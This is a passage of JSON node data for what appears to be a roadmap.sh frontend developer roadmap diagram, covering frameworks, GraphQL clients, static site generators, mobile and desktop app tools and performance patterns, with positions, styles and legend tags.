\"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"k6rp6Ua9qUEW_DA_fOg5u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1722.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5EmJofW_K7cJuv71au2TV\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1722.6524214737567\n      },\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"SGDf_rbfmFSHlxI-Czzlz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1667.0301235678273\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9GxkJoUjCQxG6gx8_3SGV\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 119.74458345301082,\n        \"y\": 1667.0301235678273\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 140,\n      \"height\": 49,\n      \"id\": \"KJRkrFZIihCUBrOf579EU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1722.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"react-router\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bd2XFblDYF5a58H8rT-xD\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1722.6524214737567\n      },\n      \"style\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 141,\n      \"height\": 49,\n      \"id\": \"zNFYAJaSq0YZXL5Rpx1NX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1614.0301235678273\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Next.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XEBjJw31qtoP0giNeTIOb\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1614.0301235678273\n      },\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 141,\n      \"height\": 49,\n      \"id\": \"BBsXxkbbEG-gnbM1xXKrj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1776.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nuxt.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bzDexz0i_3O-0CZxeVz__\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1776.6524214737567\n      },\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 141,\n      \"height\": 49,\n      \"id\": \"P4st_telfCwKLSAU2WsQP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1830.6524214737567\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Svelte Kit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eLRQ4TTquWmk5ElFO8bUs\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 264.99486256192824,\n        \"y\": 1830.6524214737567\n      },\n      \"style\": {\n        \"width\": 141,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 141,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 159,\n      \"height\": 49,\n      \"id\": \"L7AllJfKvClaam3y-u6DP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -299.7582952055722,\n        \"y\": 1936.2381074587565\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pbcrQq92xWLdgHQjcv1B-\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-top\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -299.7582952055722,\n        \"y\": 1936.2381074587565\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 159,\n      \"height\": 49,\n      \"id\": \"5eUbDdOTOfaOhUlZAmmXW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -299.7582952055722,\n        \"y\": 1804.3739101553622\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Apollo\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"T8XBkJc3CQ0OeNbir3aIB\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -299.7582952055722,\n        \"y\": 1804.3739101553622\n      },\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 159,\n      \"height\": 49,\n      \"id\": \"0moPO23ol33WsjVXSpTGf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -299.7582952055722,\n        \"y\": 1858.3739101553622\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Relay Modern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ao2xbMKjWdjJuYzmxWewu\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -299.7582952055722,\n        \"y\": 1858.3739101553622\n      },\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 215,\n      \"height\": 49,\n      \"id\": \"n0q32YhWEIAUwbGXexoqV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -48.8854599140368,\n        \"y\": 2147.3894186454863\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Static Site Generators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Byp3BhV5zTeER5tUPogqW\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -48.8854599140368,\n        \"y\": 2147.3894186454863\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 206,\n      \"height\": 49,\n      \"id\": \"CMrss8E2W0eA6DVEqtPjT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -44.3854599140368,\n        \"y\": 2004.382968916314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vuepress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SUBnFEyi6Us6fXRh6D6TE\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -44.3854599140368,\n        \"y\": 2004.382968916314\n      },\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 209,\n      \"height\": 49,\n      \"id\": \"XWJxV42Dpu2D3xDK10Pn3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -45.8854599140368,\n        \"y\": 2247.01\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nuxt.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vKK8jvUcXrJF_VNJtrZ9F\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -45.8854599140368,\n        \"y\": 2247.01\n      },\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"iUxXq7beg55y76dkwhM13\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 62.50864383591812,\n        \"y\": 1948.8221115081828\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Astro\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rRf68iRg_Jtn_jGBayLxQ\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 62.50864383591812,\n        \"y\": 1948.8221115081828\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 206,\n      \"height\": 49,\n      \"id\": \"io0RHJWIcVxDhcYkV9d38\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -44.3854599140368,\n        \"y\": 2058.382968916314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Eleventy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hWWOyclt4hWJmbMvPBt5i\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -44.3854599140368,\n        \"y\": 2058.382968916314\n      },\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"V70884VcuXkfrfHyLGtUg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -43.3854599140368,\n        \"y\": 1948.8221115081828\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Next.js\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2d9PRh48NLgCKvMRUP9Mp\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -43.3854599140368,\n        \"y\": 1948.8221115081828\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 159,\n      \"height\": 49,\n      \"id\": \"PoM77O2OtxPELxfrW1wtl\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -299.7582952055722,\n        \"y\": 2147.3894186454863\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PWAs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"z2-TJ71VFM7LKPXaCKe2T\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"right-top\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -299.7582952055722,\n        \"y\": 2147.3894186454863\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 145,\n      \"height\": 49,\n      \"id\": \"VOGKiG2EZVfCBAaa7Df0W\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 251.92382104841215,\n        \"y\": 2147.833490040384\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mobile Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1Cr9EEM5MLBlE8pquMlbZ\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 145,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 251.92382104841215,\n        \"y\": 2147.833490040384\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 145,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 151,\n      \"height\": 49,\n      \"id\": \"dsTegXTyupjS8iU6I7Xiv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.92382104841215,\n        \"y\": 1947.3894186454863\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Native\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kkmRxX5txOVNalze5qbFt\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 247.92382104841215,\n        \"y\": 1947.3894186454863\n      },\n      \"style\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 151,\n      \"height\": 49,\n      \"id\": \"dIQXjFEUAJAGxxfAYceHU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.92382104841215,\n        \"y\": 2000.3894186454863\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flutter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"E6CO-PPeanNHM3VmHlOj_\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 247.92382104841215,\n        \"y\": 2000.3894186454863\n      },\n      \"style\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 151,\n      \"height\": 49,\n      \"id\": \"xmRv6-L45m5MDpHmdHFCL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 247.92382104841215,\n        \"y\": 2053.3894186454863\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ionic\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Lwn9ABE_c54DSVxC_Xqqd\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 247.92382104841215,\n        \"y\": 2053.3894186454863\n      },\n      \"style\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 155,\n      \"height\": 49,\n      \"id\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -135.65026904256626,\n        \"y\": 2453.755580716903\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Desktop Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0shXGvdS3IlJgBvHoQuDm\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -135.65026904256626,\n        \"y\": 2453.755580716903\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 133,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -250.68060209288814,\n        \"y\": 2679.3089001088356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -250.68060209288814,\n        \"y\": 2679.3089001088356\n      },\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 120,\n      \"height\": 49,\n      \"id\": \"qXKNK_IsGS8-JgLK-Q9oU\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -114.12638684584417,\n        \"y\": 2679.3089001088356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Nodejs\",\n        \"href\": \"https://roadmap.sh/nodejs\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"U309TNZ3yUYyAmP33dOt1\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -114.12638684584417,\n        \"y\": 2679.3089001088356\n      },\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"RLtk1C3gofHnLJ17x3o5b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -71.75829520557221,\n        \"y\": 2748.163242675726\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ExXFPDHXtcOMcvZttzxvD\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -71.75829520557221,\n        \"y\": 2748.163242675726\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 103,\n      \"height\": 49,\n      \"id\": \"mQHpSyMR4Rra4mqAslgiS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -317.53656999416484,\n        \"y\": 2397.529159876233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Electron\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oT8ChWye8YxdMuD0Ju9cb\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -317.53656999416484,\n        \"y\": 2397.529159876233\n      },\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"GJctl0tVXe4B70s35RkLT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -316.53656999416484,\n        \"y\": 2451.529159876233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tauri\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wkhxb3Ax0Qlt61QpuwVXH\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -316.53656999416484,\n        \"y\": 2451.529159876233\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 101,\n      \"height\": 49,\n      \"id\": \"2MRvAK9G9RGM_auWytcKh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -316.53656999416484,\n        \"y\": 2505.529159876233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flutter\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vicOyCmPv4Nj_QQnP6_Y4\",\n        \"legend\": {\n          \"id\": \"DMx7rAjVBWMbzjSde-tvp\",\n          \"label\": \"Alternative Option / Pick this or purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -316.53656999416484,\n        \"y\": 2505.529159876233\n      },\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"-DsETM9xLgHyGZthptj1Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -634.5537077765232,\n        \"y\": 1897.0487446425846\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PRPL Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xD5WfEP7Ez0oi3890UgmH\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -634.5537077765232,\n        \"y\": 1897.0487446425846\n      },\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 211,\n      \"height\": 49,\n      \"id\": \"xD5WfEP7Ez0oi3890UgmH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -634.5537077765232,\n        \"y\": 1950.0487446425846\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RAIL Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -634.5537077765232,\n        \"y\": 1950.0487446425846\n      },\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      